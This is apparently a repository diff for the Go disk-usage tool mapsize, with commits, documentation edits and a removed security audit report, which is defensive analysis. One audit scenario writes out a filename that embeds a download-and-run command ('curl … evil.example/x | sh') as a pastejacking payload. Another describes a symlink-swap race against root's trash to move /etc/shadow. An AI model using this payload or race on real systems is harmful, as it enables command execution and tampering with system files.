4 Commits
Author SHA1 Message Date
Andy DixonandClaude Opus 5.5 47b8847ac1 License under GPL-3.0-or-later
Add LICENSE, ship it in release archives, and declare the licence in
the nfpm packages and Homebrew formula.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 09:48:39 +01:00
Andy DixonandClaude Opus 5.5 1387e52064 Release 1.0.0
Declare the snapshot format (v1) stable, bump the version, ship the man
page in release archives and deb/rpm/apk/Arch packages, add a Homebrew
formula template with make brew-formula, and update the changelog,
roadmap, README and development notes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 09:46:13 +01:00
Andy DixonandClaude Opus 5.5 68e6a07cdd Add mapsize(1) manual page and make install
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 09:43:18 +01:00
Andy DixonandClaude Opus 5.5 0fa49c662c Release target: cross-platform archives and Linux packages
Stamp brand.Version via ldflags; build tar.gz/zip for linux, darwin,
windows and the BSDs plus .deb/.rpm/.apk/Arch packages via nfpm.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 08:56:04 +01:00
33 changed files with 111 additions and 1803 deletions
-2
View File
@@ -2,8 +2,6 @@ name: ci
on:
push:
pull_request:
permissions:
contents: read
jobs:
test:
strategy:
+1 -4
View File
@@ -296,12 +296,9 @@ Filenames and snapshot contents are untrusted.
* Snapshot decoding validates magic, version, every length, every parent
reference (a parent must precede its child, so cycles are impossible),
depth (≤ 4096 levels, bounding recursion in exporters), per-node sizes
(≤ 1 EiB) and node count (at most one node per byte of snapshot file, 1 Mi floor); caps the decompressed body at 64× the file size
(≤ 1 EiB) and node count; caps the decompressed body at 64× the file size
(decompression bombs fail fast); and verifies a SHA-256 trailer.
Aggregates are recomputed with saturating arithmetic rather than trusted.
* No shell is ever invoked. "Open/reveal" and trash use direct `exec` with
argument vectors or native APIs; paths are passed as single arguments.
* Permanent delete (headless only) checks the item's owner and type against
the scan and removes it through an `os.Root` on the parent directory, so
a symlink swapped in since the scan cannot redirect it.
* `--read-only` disables every mutating action in the UI.
-18
View File
@@ -1,23 +1,5 @@
# Changelog
## 1.2.0 — 2026-10-03
### Changed
- On a headless Linux or BSD system (no `DISPLAY` or `WAYLAND_DISPLAY`), `d`
deletes permanently after an "are you sure" confirmation instead of moving
to a trash nobody empties, and `o` shows the folder in the map instead of
trying to open a file manager. Desktop sessions, macOS and Windows still
use the trash and the file manager.
## 1.1.0 — 2026-10-03
### Fixed
- Map: folders that contain a single subfolder (`mnt/raid/media/`) now
collapse into one label instead of each taking a nesting level, so the
map at `/` reaches the shows, seasons and individual files. Nesting goes as
deep as the block sizes allow (previously a fixed 3 levels), and nested
blocks show their size and percentage of their parent folder.
## 1.0.0 — 2026-10-02
First stable release. The snapshot format (version 1) is now stable: later
+21 -39
View File
@@ -9,53 +9,35 @@ make race # go test -race ./...
make vet fmt-check
make benchmark # go test -bench
make fuzz # short fuzz runs of snapshot / treemap / filter
make release # release archives and packages in bin/release
make release # cross-compiled binaries in bin/release
```
## Releasing
Example for 1.2.0; substitute the real version throughout.
```sh
git tag -a v1.0.0 -m "mapsize 1.0.0"
make release # bin/release: archives, .deb/.rpm/.apk/Arch, SHA256SUMS
```
The version comes from `git describe` and is stamped into
`brand.Version`; untagged builds report the fallback in
`internal/brand/brand.go`. Packages need network access the first time
(`nfpm` is fetched with `go run`). Bump the version in `docs/mapsize.1` and
`brand.go` and add a CHANGELOG section before tagging.
### Homebrew
After pushing the tag:
1. Update the version in `internal/brand/brand.go` and `docs/mapsize.1`,
and add a `## 1.2.0` section to CHANGELOG.md. Commit.
2. Tag and push:
```sh
git tag -a v1.2.0 -m "mapsize 1.2.0"
git push origin master v1.2.0
make brew-formula # → bin/homebrew/mapsize.rb with the tarball's sha256
```
3. Build everything (archives, .deb/.rpm/.apk/Arch packages, SHA256SUMS
into `bin/release`; the first run downloads `nfpm`):
```sh
make release VERSION=v1.2.0
```
4. Publish the GitHub release with the changelog section as notes:
```sh
awk '/^## 1.2.0/{f=1;next} /^## /{f=0} f' CHANGELOG.md > /tmp/notes.md
gh release create v1.2.0 --title v1.2.0 --notes-file /tmp/notes.md bin/release/*
```
5. Update Homebrew. This needs the tag pushed (step 2), because it
checksums GitHub's source tarball for that tag:
```sh
make brew-formula VERSION=v1.2.0 # writes bin/homebrew/mapsize.rb
git clone https://github.com/andydixon/homebrew-tap /tmp/tap
cp bin/homebrew/mapsize.rb /tmp/tap/Formula/mapsize.rb
git -C /tmp/tap commit -am "mapsize 1.2.0" && git -C /tmp/tap push
```
Users get it with `brew upgrade mapsize`. Template:
Copy the result to `Formula/mapsize.rb` in the tap repository
`github.com/andydixon/homebrew-tap`; users then run
`brew install andydixon/tap/mapsize`. The formula builds from source with
Go, stamps the version and installs the man page. Template:
`packaging/homebrew/mapsize.rb.in`.
6. Publish to the apt, dnf and pacman repository at repo.dixon.cx. This
builds signed .deb, .rpm and Arch packages from the tag and rebuilds the
repository indexes (needs docker, gpg, apt-ftparchive and the signing key
in `~/.config/repo.dixon.cx/gnupg`):
```sh
packaging/repo.sh v1.2.0
```
The same script, with its own project block, publishes vault.
Always pass `VERSION=`: otherwise it comes from `git describe`, which only
matches the tag when HEAD is exactly the tagged commit. `make release` and
the Homebrew formula stamp the version into the binary; `make build` and
`go install` use the value in `brand.go`, which is why step 1 updates it.
The snapshot format is stable at version 1: a format change must bump
`snapshot.Version` and keep the reader for version 1.
+1 -1
View File
@@ -73,7 +73,7 @@ brew-formula:
url=$(BREW_REPO)/archive/refs/tags/v$$v.tar.gz; \
sum=$$(curl -fsSL "$$url" | sha256sum | cut -d' ' -f1) || { echo "cannot fetch $$url (tag pushed?)"; exit 1; }; \
mkdir -p $(BIN)/homebrew; \
sed -e '/^#/d' -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > $(BIN)/homebrew/mapsize.rb; \
sed -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > $(BIN)/homebrew/mapsize.rb; \
echo "wrote $(BIN)/homebrew/mapsize.rb (v$$v, sha256 $$sum)"
clean:
+6 -17
View File
@@ -56,8 +56,8 @@ file-manager integration have not yet been tested there.
| x, g, e | file types, top lists, scan info & errors |
| D | find duplicates |
| a | toggle allocated / logical size |
| c, o | copy path, reveal in file manager (headless: show the folder in the map) |
| d | move to trash, or delete permanently when headless (asks; disabled with `--read-only`) |
| c, o | copy path, reveal in file manager |
| d | move to trash (asks; disabled with `--read-only`) |
| s, r | save snapshot, rescan |
| T | cycle theme |
| ? | help |
@@ -75,14 +75,10 @@ go install github.com/andydixon/mapsize/cmd/mapsize@v1.0.0
make build # → bin/mapsize
sudo make install # binary + man page under /usr/local (PREFIX=… to change)
# Homebrew (macOS and Linux)
# Homebrew (macOS and Linux), once the tap is published
brew install andydixon/tap/mapsize
```
On Debian, Ubuntu, Fedora, RHEL, openSUSE and Arch, `mapsize` is also in the
signed apt, dnf and pacman repository at repo.dixon.cx, so it updates with the
rest of the system: see https://dixon.cx/repo for the setup commands.
Full reference: `man mapsize` after installing, or `make man` /
`man -l docs/mapsize.1` from the source tree.
@@ -160,16 +156,9 @@ uses ordinary filesystem APIs, and duplicate detection reads file content
`d` moves the selected item to the system trash (freedesktop.org trash on
Linux, `~/.Trash` on macOS, the Recycle Bin on Windows) after confirmation,
using native file operations — never a shell.
On a headless Linux or BSD system (neither `DISPLAY` nor `WAYLAND_DISPLAY`
set) nothing ever empties the trash, so trashing would not free any space.
There `d` deletes permanently instead, after a confirmation that says it
cannot be undone, and `o` shows the folder in the map rather than opening a
file manager.
Deletion is unavailable while scanning, for snapshots, and in read-only
mode.
using native file operations — never a shell. Permanent deletion is not
offered. Trash is unavailable while scanning, for snapshots, and in
read-only mode.
## Documentation
@@ -1,103 +0,0 @@
# Functionality and Next Steps Report
Project: **mapsize** v1.0.0 plus the fixes from the security audit of 2026-10-02 (`audits/20261002-1102-securityAudit.md`).
## 1. Executive Summary
mapsize is a well-structured, well-documented codebase with unusually good invariants:
- a single writer for the inventory,
- a deadlock-free bounded scheduler,
- a documented lock discipline,
- a defensive renderer.
The full test suite passes across 11 packages, `go vet` is clean on every target OS, and `govulncheck` reports no vulnerabilities.
The highest-impact opportunities:
1. **Make actions after the scan relative to file descriptors** (scanner, duplicate hashing, reveal), so that what mapsize acts on is provably what it scanned. This is the remaining correctness and security gap when running as root.
2. **Exercise the macOS and Windows paths for real.** Trash and reveal there are implemented but have never been run (ROADMAP 0.8). CI runs `go test` on those OSes, but the platform tests are Linux-only.
3. **Small UX and robustness fixes:**
- repeated actions on already-trashed nodes,
- JSON names that cannot be mapped back to real files,
- an unbounded filter-query nesting depth.
## 2. Current Functional Risks
| Risk | Evidence | User impact |
|---|---|---|
| Trash and reveal on macOS and Windows are untested | ROADMAP 0.8; `ops_darwin.go` and `ops_windows.go` have no tests | First-use failures on those platforms; MS-09 (explorer comma parsing) is unverified |
| Trashing inside an already-trashed directory | `trashDone` (`internal/tui/actions.go`) flags only the trashed node `FlagDeleted`; its descendants stay selectable in some views until a rescan | Normally fails safely, because the path is gone and `Lstat` errors. If someone recreates the same path, the stale aggregates would be subtracted again |
| Scan redirection by symlink races | `platform.ReadDir` opens directories by path (MS-08) | Wrong totals on trees other users can write to |
| `--duplicates` reading from a hung NFS/SMB mount | `fullHash` makes a blocking `read(2)` | It cannot be cancelled (inherent); worth documenting |
| JSON names lossy for non-UTF-8 bytes | `encoding/json` replaces invalid UTF-8 with U+FFFD | Consumers cannot locate those files |
| Filter queries with extreme nesting | Recursive descent in `filter/parser.go` | A self-inflicted crash from a pathological paste |
| Copy refusal for unusual names (new) | `copyPath` refuses anything `Sanitize` would change | Users with legitimately odd names cannot copy them; the info modal shows the escaped form instead |
## 3. Code Quality Improvements
- **Platform trash code.** After this audit, `ensurePrivateDir` and `renameChecked` live in `trash_unix.go`, shared by Linux and macOS. The remaining Linux/macOS differences (trash layout, the `.trashinfo` file) are inherent. Keep any new platform logic behind `internal/platform`, as ARCHITECTURE.md requires.
- **`requestTrash` captures identity in the confirmation closure.** If inode identity is added (security finding MS-11), extend `platform.Expect` rather than adding parameters.
- **Ignored `Write` errors in `snapshot.Save` and `export.JSON`.** These are safe because the final `Flush` reports a sticky error. A short comment saying so would stop future "fixes" from adding noise.
- **`pprof.StartCPUProfile` error ignored** in `cmd/mapsize/main.go`. Report it, so that a profiling run does not silently produce nothing.
- **ARCHITECTURE.md drift.** Its OS-abstraction section names `readdir_unix.go`, `readdir_windows.go` and `fs_*.go`. The actual files are `readdir_bsd.go`, `readdir_other.go`, `sys_*.go` and `mode_unix.go`, plus the new `trash_unix.go` and `open_*.go`. The document says that if the two disagree, one of them should be fixed.
## 4. Frontend Interaction and Error-Handling Improvements
(This is a terminal UI; there is no web frontend.)
- **Show *why* an action was refused, with a next step.** Trash now reports "item changed since the scan … rescan first". Consider offering `r` (rescan) directly from that message.
- **Mark descendants of trashed directories.** Either hide nodes whose ancestor carries `FlagDeleted` in the list, top and duplicate views, or have `requestTrash` refuse them early with "already moved to trash".
- **Duplicate view while hashing.** Esc cancels between files. Showing "waiting on <file>" when one read stalls for more than N seconds would make a hung network mount visible.
- **Copy refusal.** Offer to copy the *escaped* form, clearly labelled, so that users can still reference odd names in scripts.
## 5. Testing Roadmap
- **Platform:**
- macOS: run the platform tests on the CI `macos-latest` runner. Port `TestTrashFreedesktop`-style tests to `~/.Trash` and to a volume trash on a disk image created with `hdiutil`.
- Windows: a Recycle Bin smoke test, plus reveal with comma-bearing names (MS-09).
- **Abuse cases:**
- A scanner race test in which a goroutine toggles a directory and a symlink during a scan, asserting that no node falls outside the root's (dev, ino) closure. This needs MS-08 first.
- Filter nesting-depth and length limits.
- A test that `--read-only` blocks every mutating key: `d`, `delete`, and `d` inside the duplicate view.
- **Config:** malformed JSON, out-of-range `refresh_hz`, and bad colours.
- **Regression:** keep running the four tests added in this audit and the existing hostile-snapshot and fuzz targets in CI. Consider a nightly job running `make fuzz` for longer.
- **Load:** the cold-cache HDD benchmark already on the ROADMAP, and a snapshot load benchmark at the new node-limit boundary.
## 6. Recommended New Functionality
- **Safer root workflow:** a `--trash-owned-by-me` option, or a default that refuses to trash items in directories owned by other users when running as root. This prevents most of the TOCTOU class of bugs outright.
- **Lossless export:** add a `name_escaped`/`path_escaped` (or base64) field to JSON and CSV for names that are not valid UTF-8.
- **Snapshot provenance (optional):** `--sign KEY` and `--verify KEY` using Ed25519, so teams that share snapshots can trust their origin. See audit finding MS-13.
- **Configurable keybindings** (already on the ROADMAP).
- **Windows allocated size** through `GetCompressedFileSizeW` (already on the ROADMAP).
## 7. Next-Level Opportunities
- **Descriptor-relative scanner:**
- Keep a parent fd per pending directory, or reopen with `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+.
- Verify (dev, ino) after each open.
- Store `Ino` for the nodes that need it.
- This closes MS-08, MS-11 and MS-12 together, and may reduce path-building work in hot loops.
- **Memory:** the name arena on the ROADMAP would also cut the per-node cost behind the snapshot amplification limit.
- **Release pipeline:** build releases in GitHub Actions with SHA-pinned actions, attach Sigstore signatures and SLSA provenance, and publish the Homebrew formula automatically.
- **Accessibility:** the `mono` theme and the non-colour selection cues are good. A screen-reader-friendly `--no-ui` interactive list mode could serve users who cannot use a treemap.
## 8. Prioritised Action Plan
| Horizon | Action | Rationale | Risk |
|---|---|---|---|
| Immediate | Done: the trash identity check, copy guard, FIFO-safe open, snapshot node cap and CI token scope | Closes the Medium findings | Low; all have tests |
| Short | Fix the ARCHITECTURE.md file list, and hide or refuse descendants of trashed nodes | Accurate documentation; avoids confusing stale entries | Very low |
| Short | Run platform tests on macOS and Windows CI; verify the explorer comma behaviour | Untested destructive code paths | Low |
| Short | Pin actions by SHA and add Dependabot | Supply chain | Very low |
| Medium | Descriptor-relative scanning and actions | Removes the remaining TOCTOU class | Medium: touches the scanner hot path, so benchmark against PERFORMANCE.md |
| Medium | Lossless JSON names | Data fidelity | Low: additive field |
| Long | Signed releases and provenance; optional signed snapshots | Trust in artifacts | Low |
## 9. Caveats and Validation Needed
- macOS and Windows behaviour was only cross-compiled with `go vet`, never executed. The Darwin volume-trash change (strict private directory) in particular should be checked on a real external volume. If `.Trashes/<uid>` already exists with different permissions, trash now falls back to an error instead of using it.
- The trash identity check refuses items whose owner or type changed since the scan. Users who `chown` while browsing will see refusals until they rescan; this is intended.
- The snapshot node cap assumes about 15 bytes per node (PERFORMANCE.md). Trees made of extremely repetitive names compress better. The cap allows one node per byte, about 15× headroom, but it is worth validating against the largest real snapshots before the next release.
- The concurrent commit `ab3ff7b` (Homebrew template) landed during the audit and was reviewed.
-820
View File
@@ -1,820 +0,0 @@
# Security Audit Report
Project: **mapsize** (Go, `github.com/andydixon/mapsize`), an interactive terminal disk-usage analyser, at v1.0.0 plus fixes.
Date: 2026-10-02. Audit commits: `3ec5bd7`, `1f9429e`, `5966fdd`, `3264def`, `b009ac3` (all with the subject "AI codebase review").
## 1. Executive Summary
mapsize is a local, single-user CLI/TUI. It has no network listener, no authentication, no stored secrets, and no native code beyond syscalls made through `golang.org/x/sys`. Its attack surface is **filesystem content controlled by other users** (file names, file types, directory layout, and races against the scan) and **snapshot files** (`.msz`) that people may share. The codebase was already defensive: it sanitises terminal output with a second check in the canvas, never invokes a shell, validates snapshots carefully, and checks the ownership of shared trash directories.
The most important issues were in the places where mapsize **acts on the filesystem after the scan**:
- **MS-01 (Medium, fixed).** Trash renamed items by path long after the scan. If another user swapped a parent directory for a symlink, an administrator cleaning that user's tree could move an unrelated file (for example `/etc/shadow`) into the trash.
- **MS-02 (Medium, fixed).** "Copy path" put raw filenames on the clipboard through OSC 52. A filename containing newlines runs commands when it is pasted into a shell.
- **MS-03 (Medium, fixed).** The snapshot decompression limit allowed roughly 600× memory amplification. An 804 KB crafted file was measured at about 500 MB of heap.
- **MS-04 (Low, fixed).** The duplicate finder could be wedged permanently by a file that was swapped for a FIFO after the scan. Cancelling did not help.
All four now have regression tests. No vulnerable dependencies were found (`govulncheck`: none). The remaining items are low-severity defence-in-depth or supply-chain hygiene.
**Architectural concern:** operations after the scan still resolve paths again (scanner directory opens, duplicate hashing, reveal). Fully race-free handling needs descriptor-relative traversal (`openat` chains or `openat2(RESOLVE_NO_SYMLINKS)`). The trash fix applies this only to the final parent directory.
## 2. Scope Reviewed
- **Languages and frameworks:** Go 1.26 (toolchain 1.27.1 used locally), Bubble Tea v2 (`charm.land/bubbletea/v2`), `charmbracelet/x/ansi`, `rivo/uniseg`, `golang.org/x/sys`.
- **Source:** all 85 tracked files, including `cmd/mapsize`, `cmd/treegen`, and every package under `internal/` (app, brand, config, duplicate, export, filter, inventory, platform, scan, snapshot, textutil, treemap, tui).
- **Build and deployment:** `Makefile` (build, install, release, brew-formula), `nfpm.yaml`, `packaging/homebrew/mapsize.rb.in`, `.github/workflows/ci.yml`, `scripts/bench-scan.sh`.
- **Dependencies:** `go.mod`, `go.sum`.
- **Tests:** every `*_test.go`, including the hostile-snapshot, fuzz, scan-stress and TUI tests.
- **Documentation:** ARCHITECTURE.md (its invariants were checked against the code), README.md, and the man page.
- **Not in scope:** there are no Dockerfiles, IaC, web frontend or servers.
## 3. Methodology
- **Static review:** a manual line-by-line reading of the trust-boundary code (platform ops, snapshot decoder, scanner, duplicate finder, exporters, TUI actions and rendering, config).
- **Adversarial mapping:** the attacker starting points considered were (a) a local user who can write inside the scanned tree, (b) the author of a snapshot file, and (c) a compromised dependency or CI pipeline.
- **Dynamic validation:** the following findings were reproduced locally with tests before they were fixed:
- MS-04: a test hung at its 5 s timeout before the fix.
- MS-03: an 804 KB crafted snapshot produced 4.2 M nodes and 497 MB `HeapInuse`.
- MS-01 and MS-02: regression tests were written against the old behaviour.
- **Dependency review:** `govulncheck ./...` (latest) reported no vulnerabilities; `go vet` and the full test suite are clean; cross-platform `go vet` was run for darwin, windows and freebsd.
- **Specific reviews:** cryptography, the secrets lifecycle, memory and resource safety, DoS and terminal-injection reviews, using the checklists in the brief.
## 4. Risk Rating Method
Severity combines impact and likelihood in mapsize's realistic deployment, which is a user or administrator running it interactively, sometimes as root, over trees that other users can write to.
- **Critical/High:** remote or unauthenticated compromise, or reliable privilege escalation. None found.
- **Medium:** integrity, confidentiality or availability impact that needs a plausible precondition (another local user's tree, or opening a shared snapshot) plus a user action.
- **Low:** narrow races, partial impact, or hygiene problems with a credible but unlikely path.
- **Informational:** defence-in-depth or documentation.
Confidence:
- **High:** reproduced, or directly evident in the code.
- **Medium:** the reasoning is sound but it was not reproduced.
- **Low:** depends on unverified external behaviour, such as Windows `explorer.exe` argument parsing.
## 5. Attack Surface Map
| Entry point | Trust | Notes |
|---|---|---|
| Directory and file names, types and layout under the scanned root | **Untrusted** (other local users) | Names reach the terminal, the clipboard, CSV/JSON output and trashinfo. Layout can change between the scan and an action (TOCTOU). |
| Snapshot files (`mapsize FILE.msz`, `--load`, `--compare`) | **Untrusted** (shared by colleagues or downloaded) | Binary gzip format with a SHA-256 trailer (integrity only). Decoded in `internal/snapshot/snapshot.go`. |
| Filter query (`/` in the TUI) | Local user | RE2 regex (linear time) and `filepath.Match`. |
| CLI flags, config JSON (`$XDG_CONFIG_HOME/mapsize/config.json`) | Local user | Paths for `--save`, `--log`, `--cpuprofile` and `--memprofile` are written as specified. |
| External helpers | Executed with argument vectors | `xdg-open`, `open -R`, `explorer.exe /select,`. No shell is used. |
| Trash | Mutating | freedesktop.org trash on Linux, `~/.Trash` and volume `.Trashes/<uid>` on macOS, `SHFileOperationW` on Windows. |
| Clipboard | Output | OSC 52 written to the terminal. |
| CI/release | Supply chain | GitHub Actions, `go run nfpm@v2.41.1`, and `curl` of the release tarball for the Homebrew sha256. |
**Attacker positions:**
- **A1:** an unprivileged user who owns a subtree that an administrator scans as root, such as `/home`, `/srv/shared` or `/tmp`.
- **A2:** the sender of a snapshot file.
- **A3:** a compromised upstream action or module.
**Not present:** network listeners, IPC, authentication, sessions, secrets, databases, web frontend.
## 6. Findings Summary Table
| ID | Severity | Confidence | Title | Component | Status |
|---|---|---|---|---|---|
| MS-01 | Medium | High | Trash follows a parent swapped for a symlink after the scan (TOCTOU) | `internal/platform/ops_linux.go`, `ops_darwin.go`, `internal/tui/actions.go` | Fixed (`3ec5bd7`) |
| MS-02 | Medium | High | Copy-path puts control characters on the clipboard (paste injection) | `internal/tui/keys.go`, `modals.go` | Fixed (`1f9429e`) |
| MS-03 | Medium | High | Snapshot node amplification exhausts memory (about 600×) | `internal/snapshot/snapshot.go` | Fixed (`b009ac3`) |
| MS-04 | Low | High | Duplicate finder blocks forever on a file swapped for a FIFO | `internal/duplicate/duplicate.go` | Fixed (`5966fdd`) |
| MS-05 | Low | Medium | macOS volume trash directory not checked for symlinks or ownership | `internal/platform/ops_darwin.go` | Fixed (`3ec5bd7`) |
| MS-06 | Low | High | CI workflow runs with the default `GITHUB_TOKEN` permissions | `.github/workflows/ci.yml` | Fixed (`3264def`) |
| MS-07 | Informational | High | Snapshot `follow` metadata displayed unsanitised | `internal/tui/infoview.go` | Fixed (`3264def`) |
| MS-08 | Low | Medium | Scanner opens directories by path, so a symlink-swap race redirects the scan | `internal/platform/readdir_*.go`, `internal/scan/scan.go` | Open |
| MS-09 | Low | Low | Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser | `internal/platform/ops_windows.go` | Open (needs verification) |
| MS-10 | Low | High | Actions pinned to mutable tags; release artifacts unsigned | `.github/workflows/ci.yml`, `Makefile` | Open |
| MS-11 | Informational | High | Trash identity check has residual gaps (Windows; same owner and type) | `internal/platform` | Open (accepted) |
| MS-12 | Informational | High | Duplicate hashing and reveal re-resolve paths (intermediate symlinks) | `internal/duplicate`, `internal/platform/ops*.go` | Open |
| MS-13 | Informational | High | Snapshots are integrity-checked but not authenticated, and contain host and user metadata | `internal/snapshot` | Open (accepted) |
| MS-14 | Informational | High | JSON export is not terminal-sanitised (bidi) and is lossy for non-UTF-8 names | `internal/export/export.go` | Open |
| MS-15 | Informational | Medium | Filter parser recursion is unbounded on deeply nested input | `internal/filter/parser.go` | Open |
## 7. Detailed Findings
### Finding ID: MS-01
#### Title
Trash follows a parent directory swapped for a symlink after the scan (TOCTOU)
#### Severity
Medium
#### Confidence
High
#### Affected Files / Components
`internal/platform/ops_linux.go` `Trash` (previously `os.Rename(path, dst)`), `internal/platform/ops_darwin.go` `Trash`, and `internal/tui/actions.go` `requestTrash`.
#### Description
The path to trash is rebuilt from the inventory (`m.tree.Path(id)`) and renamed after the user confirms. Every path component is resolved again at rename time. Between the scan and the confirmation (a window of human think-time) the owner of any parent directory can replace it with a symlink. The rename then moves whatever has the same name under the symlink target.
#### Evidence
Before the fix, `ops_linux.go` did this:
```go
if err := os.Rename(path, dst); err != nil { // path re-resolved, all components followed
```
There was no comparison with what the scan recorded. `checkAbs` only did `Lstat` on the final component.
#### Attack Scenario
1. Eve owns `/home/eve/junk/`. She creates a large file named `shadow` in it.
2. The root user runs `mapsize /home`, sees `/home/eve/junk/shadow` (20 GB), and presses `d`.
3. Before root confirms, Eve runs `mv junk junk.old; ln -s /etc junk`. A symlink toggler makes the timing irrelevant.
4. Root confirms, and `rename("/home/eve/junk/shadow", "/root/.local/share/Trash/files/shadow")` moves **`/etc/shadow`**. Logins break and the hash file now sits in root's trash.
The same works for any root-owned file with a guessable name.
#### Impact
Integrity and availability of arbitrary files writable by the user running mapsize, which is the whole system for root. This is denial of service, and it can cause privilege problems such as a missing `/etc/sudoers.d/x` or a broken PAM configuration.
#### Recommendation
Open the parent directory once. Check and rename relative to that descriptor, and verify that the item still matches the scan (owner and file type).
#### Safer Example
This is what was implemented in `internal/platform/trash_unix.go`:
```go
dfd, _ := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW)
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
```
`requestTrash` captures `platform.Expect{UID: n.UID, Mode: n.Mode}` from the scanned node. A swapped parent now resolves to `/etc`, `shadow` there is owned by uid 0 rather than eve, and the move is refused. Because the check and the rename use the same descriptor, a toggler cannot win the race between them.
#### Suggested Tests
`TestTrashRefusesSwappedItem` (added) covers a symlink where a file was scanned, a type mismatch, an owner mismatch, no leftover `.trashinfo`, and the legitimate path still working.
#### References
CWE-367 (TOCTOU), CWE-59 (link following), OWASP ASVS V12.3.
#### Assumptions / Limitations
See MS-11 for the residual gaps: Windows has no check, and a same-owner, same-type target is still possible. The trash destination path is still resolved by path, but it lives under the user's own home or under a private `.Trash-$uid` directory that has been checked.
---
### Finding ID: MS-02
#### Title
Copy-path puts control characters on the clipboard (paste injection)
#### Severity
Medium
#### Confidence
High
#### Affected Files / Components
`internal/tui/keys.go` `copyPath` and `internal/tui/modals.go` (the `c` key in the info modal).
#### Description
The raw path was sent with `tea.SetClipboard(p)` (OSC 52). Unix filenames may contain `\n` and other control bytes, and snapshot names may contain anything except `/` and NUL. The UI displays these names escaped, so the user cannot see that the clipboard holds an executable multi-line payload.
#### Evidence
```go
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
```
#### Attack Scenario
An attacker creates `/srv/share/report\ncurl -s evil.example/x | sh\n.pdf`. The administrator selects it, presses `c`, and pastes into a root shell. In a shell or terminal without bracketed paste (older bash, `sh`, many serial and SSH consoles) the embedded command runs. Bidi overrides can also disguise the visible text.
#### Impact
Arbitrary command execution as the user who pastes. User interaction is required.
#### Recommendation
Refuse to copy any path that `textutil.Sanitize` would change (control characters, C1, bidi, invalid UTF-8) and tell the user why.
#### Safer Example
```go
if textutil.Sanitize(p) != p {
return m.warn("Not copied: path contains control or bidi characters")
}
```
#### Suggested Tests
`TestCopyRefusesControlCharacters` (added) covers a newline payload, the existing ESC/OSC hostile name, and a CJK path that must still be copied.
#### References
CWE-150 (improper neutralisation of escape sequences), CWE-77; also known as "pastejacking".
#### Assumptions / Limitations
A copy of a legitimate but unusual name is now refused. The info modal still shows the escaped form.
---
### Finding ID: MS-03
#### Title
Snapshot node amplification exhausts memory
#### Severity
Medium
#### Confidence
High (measured)
#### Affected Files / Components
`internal/snapshot/snapshot.go` `LoadFile`, `LoadLimit`, `bodyLimit`.
#### Description
The decompressed body was capped at `max(64 MiB, 64 × file size)`, but the node count was capped only at `2^31−1`. A crafted body made of repeating blocks (one directory followed by K−1 files whose parent deltas run 1…K−1) compresses extremely well and stays within the depth limit. Each node costs about 120 bytes of heap.
#### Evidence
A local measurement before the fix: a **804 KB** file decoded to a 59 MB body, **4,200,001 nodes**, and **497 MB `HeapInuse`**. Because the body limit grows 64× with file size, a ~20 MB crafted file could demand about 10 GB. ARCHITECTURE.md claimed "decompression bombs fail fast", which held for the body but not for allocated memory.
#### Attack Scenario
A colleague sends `server.msz`. Opening it with `mapsize server.msz` or `--compare` triggers the OOM killer, or swap pressure on a shared host.
#### Impact
Local denial of service. User interaction is required.
#### Recommendation and Safer Example
Bound the node count by the compressed size. Real snapshots use about 15 bytes per node (PERFORMANCE.md), so one node per byte leaves at least 15× headroom:
```go
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
```
`LoadFile` now passes `nodeLimit(fi.Size())`. The node-count error is now reported before the "no root node" check, which previously masked limit errors.
#### Suggested Tests
`TestNodeAmplificationLimited` (added): 1.2 M nodes in a 137 KB file are refused with a "node count" error, and the same data still loads through the unbounded `Load` path, which proves the input is otherwise valid.
#### References
CWE-400, CWE-409 (highly compressed data), CWE-770.
#### Assumptions / Limitations
The 1 Mi-node floor still lets a tiny file allocate about 120 MB, which is acceptable. `Load`/`LoadLimit` on an `io.Reader` keep `MaxNodes`, because no file size is known there; production code uses only `LoadFile`.
---
### Finding ID: MS-04
#### Title
Duplicate finder blocks forever on a file swapped for a FIFO
#### Severity
Low
#### Confidence
High (reproduced)
#### Affected Files / Components
`internal/duplicate/duplicate.go` `open`; new `internal/platform/open_unix.go`.
#### Description
Candidates were reopened by path with `os.Open`. Opening a FIFO for reading blocks until a writer appears. The `fi.Mode().IsRegular()` check ran after the open, too late. Context cancellation (Esc, Ctrl+C) cannot interrupt a blocked `open(2)`, so the duplicate view stayed on "hashing" forever and `--duplicates` never exited, which matters for cron jobs.
#### Evidence and Reproduction
`TestFindSkipsSwappedFIFO`: scan `a`, `b` and `c` (identical content), replace `b` with `mkfifo b` and `c` with a symlink to a FIFO, then run `Find`. It timed out after 5 s before the fix and finishes immediately afterwards with `Skipped == 2`.
#### Impact
Availability of the duplicate feature, and a hang of the non-interactive mode. Any user who can write in the scanned tree can trigger it.
#### Recommendation and Safer Example
```go
os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
```
`O_NONBLOCK` makes the FIFO open return at once, and the existing regular-file check then skips it. `O_NOFOLLOW` refuses a final symlink. Regular-file reads are unaffected.
#### Suggested Tests
Added as above. Consider a cancellation test for a slow reader as well.
#### References
CWE-367, CWE-833 (deadlock), CWE-400.
#### Assumptions / Limitations
Intermediate path components can still be swapped (MS-12). On Windows, `os.Open` remains unchanged.
---
### Finding ID: MS-05
#### Title
macOS volume trash directory not checked for symlinks or ownership
#### Severity
Low
#### Confidence
Medium (reasoned, not run on macOS)
#### Affected Files / Components
`internal/platform/ops_darwin.go` `Trash`.
#### Description
